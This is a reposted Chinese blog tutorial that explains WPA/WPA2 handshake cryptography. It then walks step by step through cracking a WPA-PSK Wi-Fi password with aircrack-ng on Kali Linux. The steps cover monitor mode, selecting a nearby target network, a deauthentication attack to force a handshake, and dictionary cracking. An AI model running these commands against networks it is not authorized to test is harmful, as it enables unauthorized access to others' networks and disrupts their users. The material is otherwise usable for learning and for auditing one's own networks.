WPA-PSK无线网络破解原理与过程

来源:互联网 发布:office mac 版 编辑:程序博客网 时间:2024/05/29 11:53

原文链接:http://blog.csdn.net/swjtu100/article/details/50720208

声明:本文仅供学习交流使用!

  • wifi 标准以及相应标准的特征汇总表

    这里写图片描述

  • 无线安全技术 
    1) WEP(Wired Equivalent Privacy有线对等保密) 
    这里写图片描述 
    最早的无线加密体制,由于算法的缺陷很容易被破解。抓包获取在数据流中明文传输的IV,再通过统计学方法用IV得到密钥。

    2) WPA 
    在不升级硬件的前提下,WAP使用TKIP(Temporal Key Integrity Protocol临时密钥集成协议) 来实现WLAN的访问控制、密钥管理和数据加密来增强WEP的安全性。WPA加密算法有两个版本。 
    a) WPA = 802.1x + EAP + TKIP + MIC = Pre-shared Key + TKIP + MIC 
    b) WPA2 = 802.1x + EAP + AES + CCMP = Pre-shared Key + AES + CCMP

    注: 
    802.1x + EAP、Pre-shared Key:身份校验算法 
    TKIP、AES:数据传输加密算法 
    MIC、CCMP:数据完整性校验算法

    802.1x + EAP (工业级的,安全要求高的地方用。需要认证服务器)EAP 扩展认证协议,是一种架构,而不是具体算法。常见的有LEAP,MD5,TTLS,TLS,PEAP,SRP,SIM,AKA 其中的TLS 和TTLS 是双向认证模式。这种认证方式不怕网络劫持和字典攻击。 
    Pre-shared Key (家庭用的,用在安全要求低的地方。不需要服务器)。容易被字典攻击

  • WPA-PSK 
    1) WPA的四次握手过程 
    WPA 握手过程是基于802.1X 协议,使用eapol key进行封装传输。 
    这里写图片描述 
    a) AP初始化: 
    使用 SSID 和passphares作为入参,通过哈希算法产生PSK。在WPA-PSK 中PSK=PMK=pdkdf2_SHA1(passphrase, SSID, SSID length, 4096)

    b) 第一次握手: 
    AP广播SSID,AP_MAC(AA); 
    STATION 端使用接收到的SSID,AP_MAC和passphares使用同样算法产生PSK。

    c) 第二次握手 
    STATION 发送一个随机数SNonce,STATION_MAC(SA)给AP; 
    AP端接收到SNonce、STATION_MAC(SA)后产生一个随机数ANonce,然后用 PMK、AP_MAC(AA)、STATION_MAC(SA)、SNonce、ANonce 用以下SHA1_PRF算法产生PTK,提取这个 PTK 前16 个字节组成一个MIC KEY。 
    PTK=SHA1_PRF(PMK, Len(PMK), “Pairwise key expansion”, MIN(AA, SA) || Max(AA, SA) || Min(ANonce, SNonce) || Max(ANonce, SNonce))

    d) 第三次握手: 
    AP发送上面产生的ANonce给STATION 
    STATION 端用接收到ANonce 和以前产生PMK、SNonce、AP_MAC(AA)、STATION_MAC(SA)用同样的算法产生PTK。提取这个PTK 前16 个字节组成一个MIC KEY使用以下算法产生MIC值用这个MIC KEY 和一个802.1X数据帧使用以下算法得到MIC值 
    MIC = HMAC_MD5(MIC Key,16,802.1X data)

    e) 第四次握手: 
    STATION 发送802.1X 数据帧,MIC给AP;STATION 端用上面那个准备好的802.1X 数据帧在最后填充上MIC值和两个字节的0(十六进制)然后发送这个数据帧到AP。 
    AP端收到这个数据帧后提取这个MIC。并把这个数据帧的MIC部分都填上0(十六进制)这时用这个802.1X数据帧,和用上面AP产生的 MIC KEY 使用同样的算法得出MIC’。如果MIC’等于STATION 发送过来的MIC。那么第四次握手成功。若不等说明则AP 和 STATION 的密钥不相同,握手失败了。

    2) WPA—PSK破解原理 
    用我们字典中的Passphrase+SSID先生成PMK,然后结合握手包中的STA_MAC、AP_MAC、ANONCE、SNONCE计算PTK,再加上原始的报文数据算出MIC并与AP发送的MIC比较,如果一致,那么该PSK就是密钥。

  • 破解过程 
    环境:Kali Linux 2.0、USB无线网卡 
    工具:Aircrack-ng

    1) 第一步:把usb网卡插入虚拟机,并开启网卡到监听模式,命令如下: 
    airmon-ng start ra0 (ra0为无线网卡名称)

    注:如果虚拟机无法识别无线网卡需安装驱动,教程链接:http://blog.csdn.net/swjtu100/article/details/50543260

    2) 第二步:抓包查看所在区域无线网的状态,选择需破解的目标网络,命令如下: 
    airodump-ng ra0 
    这里写图片描述

    3) 第三步:抓取目标网络的握手包,命令如下: 
    airodump-ng - c 1 –bssid EC:17:2F:FA:F0:CA - w /root/Desktop/ ra0

    参数解释:-c:监听频道 –bssid 目标AP网络mac值 -w:保存监听事件的文件名 
    这里写图片描述

    4) 第四步:重新打开一个terminal窗口,使用DEAUTH攻击使已经连接的客户端断开并重新连接,以产生握手包。(注意:抓握手包破解必须有合法的客户端才行)命令如下: 
    aireplay-ng -0 10 -a EC:17:2F:FA:F0:CA -c DC:EE:06:1F:BB:AF ra0

    参数解释:- 0 deauth攻击 10:进行10次攻击 -a:AP的MAC地址 -c:已连接该AP的客户端MAC地址

    当获取到握手包时会出现红框内的信息 
    这里写图片描述

    5) 第五步:通过四次握手包和字典(metasploit自带的字典)破解密码,命令如下: 
    aircrack-ng -a2 -b EC:17:2F:FA:F0:CA -w /usr/share/metasploit-framework/data/john/ 
    wordlists/password.lst /root/Desktop/-01.cap

    参数解释:-a2 WPA的方法破解握手包 -w:字典路径 -01.cap: 第四步中抓取的握手包文件名 
    这里写图片描述 
    破解成功!


参考: 
http://www.freebuf.com/articles/wireless/58342.html 
http://blog.csdn.net/ivan_/article/details/39205371 
http://null-byte.wonderhowto.com/how-to/wi-fi-hacking/ 
http://lewiscomputerhowto.blogspot.in/2014/06/how-to-hack-wpawpa2-wi-fi-with-kali.html

版权声明:本文为博主原创文章,未经博主允许不得转载。

原创粉丝点击